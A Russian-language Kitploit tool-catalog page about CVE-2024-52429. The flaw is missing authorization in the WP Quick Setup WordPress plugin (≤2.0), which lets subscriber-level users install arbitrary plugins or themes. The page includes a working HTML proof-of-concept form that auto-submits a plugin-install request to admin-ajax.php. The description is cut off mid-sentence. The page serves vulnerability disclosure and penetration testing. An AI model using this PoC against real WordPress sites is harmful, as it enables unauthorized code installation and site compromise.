Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-52429 — WP Quick Setup <= 2.0 - Отсутствие авторизации, позволяющее аутентифицированным пользователям (Subscriber+) произвольную установку плагинов/тем | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-52429
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеНеправильная Конфигурация
GitHubrandomrobbiebf/cve-2024-52429

CVE-2024-52429

WP Quick Setup <= 2.0 - Отсутствие авторизации, позволяющее аутентифицированным пользователям (Subscriber+) произвольную установку плагинов/тем

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-52429

WP Quick Setup <= 2.0 — Отсутствие авторизации у аутентифицированных пользователей (Subscriber+) для произвольной установки плагинов/тем

Описание:

Плагин WP Quick Setup для WordPress уязвим к несанкционированной установке плагинов и тем из-за отсутствия проверки прав доступа к функции во всех версиях до 2.0 включительно. Это делает его

root@kitploit:~
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429

POC

Войдите как подписчик, затем запустите этот HTML:

root@kitploit:~
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wes&#95;install&#95;plugins" />
      <input type="hidden" name="plugin&#95;urls&#91;&#93;" value="https&#58;&#47;&#47;downloads&#46;wordpress&#46;org&#47;plugin&#47;wdes&#45;responsive&#45;mobile&#45;menu&#46;zip" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
Скачать инструмент